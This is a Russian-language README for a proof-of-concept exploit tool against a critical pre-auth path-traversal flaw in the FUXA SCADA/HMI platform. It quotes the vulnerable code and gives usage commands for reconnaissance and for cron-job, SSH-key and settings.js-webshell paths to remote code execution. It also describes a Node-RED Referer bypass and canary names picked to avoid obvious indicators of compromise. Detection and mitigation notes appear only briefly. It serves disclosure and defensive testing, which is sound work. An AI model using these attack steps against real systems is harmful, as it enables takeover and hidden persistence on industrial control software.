
POC-эксплойт для CVE-2026-25895 FUXA: неаутентифицированный Path Traversal -> произвольная запись файлов -> RCE
Неаутентифицированная (pre-auth) произвольная запись файлов в FUXA — SCADA/HMI-платформе на базе Node.js. Цепочка доводится до удалённого выполнения кода через несколько отдельных примитивов, срабатывающих после записи. Работает даже при secureEnabled = true (при включённой аутентификации), поскольку у уязвимой конечной точки нет подключённого middleware.
Также доступно на ExploitDB: https://www.exploit-db.com/exploits/52568
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-25895 |
| Затронутые версии | FUXA <= 1.2.9 |
| Исправлено в | FUXA 1.2.10 |
| Вендор | frangoteam / FUXA |
| Вектор атаки | Сеть (HTTP/HTTPS) |
| Аутентификация | Не требуется |
| Воздействие | Произвольная запись файлов, удалённое выполнение кода |
| CVSS v3.1 | 9.8 (Критический) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Исследователь | Anthony Cihan (Hann1bl3L3ct3r) |
Конечная точка FUXA POST /api/upload (server/api/projects/index.js:193) регистрируется без middleware, в обход как проверки JWT/API-ключа secureFnc, так и шлюза прав администратора, применяемого ко всем остальным конечным точкам управления проектами. Внутри обработчика поле destination из тела JSON конкатенируется в путь файловой системы только с ведущим подчёркиванием и без какой-либо нормализации или проверки на выход за пределы каталога:
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);
Значение destination вида a/../../../../../etc (где a поглощает ведущее подчёркивание) заставляет path.resolve в Node подняться за пределы appDir в любое место, в которое может писать процесс FUXA. Поскольку перед fs.writeFileSync выполняется условный вызов fs.mkdirSync(dir, { recursive: true }), атакующий также может создавать родительские каталоги по мере необходимости.
В результате получается неаутентифицированный примитив произвольной записи файлов, доступный на стандартном HTTP-порту (1881) и эксплуатируемый до аутентификации независимо от того, включил ли администратор FUXA вход в систему.
Неаутентифицированный удалённый атакующий может:
settings.js, чтобы добиться выполнения кода при следующем перезапуске FUXA/etc/cron.d/<file>) для выполнения кода в течение 60 секунд, если FUXA запущен от имени root (по умолчанию в Docker-образе вендора)/root/.ssh/authorized_keys или ~/.ssh/authorized_keys любого пользователяЭто находка критической степени тяжести, эксплуатируемая до аутентификации, на ICS/SCADA-платформе, используемой для управления промышленными процессами.
| Версия | Статус |
|---|---|
<= 1.2.9 | Уязвима |
1.2.10+ | Исправлена |
Эксплуатация подтверждена на чистой установке FUXA 1.2.9 на Ubuntu Server.
Однофайловый скрипт на Python 3 с одной сторонней зависимостью (requests).
pip install requests
python3 fuxapwn.py --help
Определите пользователя ОС, под которым работает сервис, доступность Node-RED и любые другие учётные записи на хосте, не записывая ничего необычного:
python3 fuxapwn.py -u http://target:1881 --mode recon \
--probe-root --probe-home
Запишите нейтральную метку /tmp/healthcheck (без специфичных для CVE индикаторов компрометации в имени файла или содержимом):
python3 fuxapwn.py -u http://target:1881 --mode canary
Если FUXA работает от имени root, поместите файл cron, который сработает в течение 60 секунд без необходимости перезапуска FUXA:
python3 fuxapwn.py -u http://target:1881 --mode cron \
--cron-cmd 'id > /tmp/fx.txt 2>&1'
settings.jsУстановите HTTP-прослушиватель веб-шелла внутри процесса FUXA (Node) (активируется при следующем холодном запуске, поскольку require() кэширует модули), затем перейдите в интерактивный REPL после перезапуска FUXA:
# Stage the payload — replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
--appdata /opt/FUXA/server/_appdata --ws-port 31337
# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
--ws-host target --ws-port 31337 \
--ws-path /_abc123 --ws-token <printed-above> --interact
Полная справка по флагам для каждого режима: python3 fuxapwn.py --help.
GET /api/settings (server/api/index.js:103) регистрируется без middleware и возвращает актуальную конфигурацию выполнения, слегка отредактированную (сервер удаляет secretCode и smtp.password перед отправкой). Остальные поля раскрывают абсолютные пути (appDir, workDir, userSettingsFile, logsDir, uploadFileDir), которые обычно идентифицируют служебного пользователя, а также nodeRedEnabled — прямой признак вторичного пути неаутентифицированного RCE (см. ниже).
Когда FUXA запускается через npm start под локальной учётной записью, пути установки не содержат имени пользователя (например, установка расположена в /opt, /tmp или общем /app), а /root/ недоступен для записи, PoC переключается на перебор /home/<candidate>/ с записью нулевых байтов.
Обработчик загрузки FUXA перед fs.writeFileSync условно вызывает fs.mkdirSync(parent, { recursive: true }), что порождает неоднозначность EACCES: несуществующий /home/<user>/ завершается ошибкой EACCES на этапе mkdir (процесс не может создавать каталоги внутри принадлежащего root /home/), тогда как существующий /home/<other>/ с правами 0700 завершается EACCES уже на самой записи. Тот же errno — другой смысл. PoC устраняет неоднозначность, разбирая токен syscall из переданного сервером err.message (формат libuv "<CODE>: <reason>, <syscall> '<path>'"), и сообщает о «существовании другого пользователя» только при EACCES на открытии (или любом syscall, отличном от mkdir). Это исключает список ложноположительных кандидатов для бокового перемещения, который дала бы наивная проверка только по errno.
Если в утёкших настройках nodeRedEnabled = true, встроенные административные конечные точки Node-RED в FUXA (/nodered/flows/deploy и т. д.) доступны без аутентификации из-за проверки по белому списку заголовка Referer (node-red/index.js:134-136), которая принимает любой запрос, чей Referer содержит /editor, /viewer или /lab. Это даёт мгновенный неаутентифицированный RCE через узел функции (function node) без необходимости перезапуска. Режим recon помечает это условие; операторам следует предпочитать именно этот путь при его наличии.
settings.js сохраняют конфигурацию целиПри создании замены settings.js (режимы settings-rce и webshell) PoC сначала получает актуальную конфигурацию через /api/settings и сериализует её в JSON как тело module.exports (JSON — это допустимое подмножество литералов объектов JavaScript). Это сохраняет uiPort, allowedOrigins, secureEnabled и другие параметры выполнения цели, поэтому приложение продолжает нормально работать после замены. PoC явно предупреждает, если на цели заданы secureEnabled = true или блок smtp, поскольку серверная редакция удаляет secretCode (будет применён резервный механизм JWT) и smtp.password (почта перестанет работать, пока данные не будут восстановлены вручную).
POST /api/upload из неаутентифицированных источников, особенно со значениями destination, содержащими .. или абсолютные пути файловой системы в ответеGET /api/settings из неаутентифицированных источников (обычно используется только аутентифицированным веб-интерфейсом)/tmp/healthcheck*, /tmp/.fuxa-probe-* или /home/*/.fuxa-probe-* (имена файлов-меток canary и проверки по умолчанию — PoC позволяет переопределять их, чтобы избежать очевидных IOCs, поэтому их отсутствие не исключает эксплуатацию)settings.js, /etc/cron.d/* или ~/.ssh/authorized_keys, не соответствующие действиям администратора/api/upload защищена стандартной цепочкой middleware./api/upload и /api/settings./root/, нет записи в /etc/cron.d/, нет общесистемного закрепления через cron).nodeRedEnabled = false), если он не используется активно.1.2.10server/api/projects/index.js:193 в FUXA 1.2.9Исследование, PoC и описание: Anthony Cihan (Hann1bl3L3ct3r), руководитель направления наступательной безопасности (Offensive Security).
Этот репозиторий содержит работоспособный эксплойт-код для критической уязвимости в продукте класса ICS/SCADA. Он опубликован в соответствии с принципами ответственного раскрытия (responsible disclosure), после выпуска патча вендором, на благо защитников (авторов средств обнаружения, специалистов по реагированию на инциденты) и авторизованных специалистов по тестированию безопасности.
Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированное использование этого кода против сторонних систем незаконно в большинстве юрисдикций и будет расценено автором соответствующим образом. Автор не несёт ответственности за неправомерное использование.
Если вы оператор FUXA и хотите проверить уровень вашего патча на соответствие данному PoC в контролируемых условиях, свяжитесь с автором.
Выпущено в целях авторизованного тестирования безопасности и оборонительных исследований. Полные условия см. в LICENSE.
| Режим | Назначение |
|---|
recon | Неаутентифицированная утечка информации через GET /api/settings; определяет пользователя ОС, под которым работает сервис, по абсолютным путям; сообщает статус Node-RED; опциональные активные проверки --probe-root и --probe-home |
canary | Подтверждение примитива записи файлов с нейтральным путём по умолчанию |
settings-rce | Заменяет settings.js полезной нагрузкой, выполняющей настраиваемую команду при следующем холодном запуске FUXA |
ssh-key | Записывает открытый ключ в authorized_keys целевого пользователя |
drop | Произвольная запись файла в любой абсолютный путь |
cron | Записывает /etc/cron.d/<name> для получения RCE в течение 60 секунд без ожидания перезапуска FUXA (требуется запуск FUXA от имени root) |
webshell | Устанавливает HTTP-прослушиватель веб-шелла внутри процесса FUXA (Node) через замену settings.js (активируется при следующем холодном запуске) |
webshell-exec | Клиент для уже установленного веб-шелла; одиночная команда или REPL через --interact |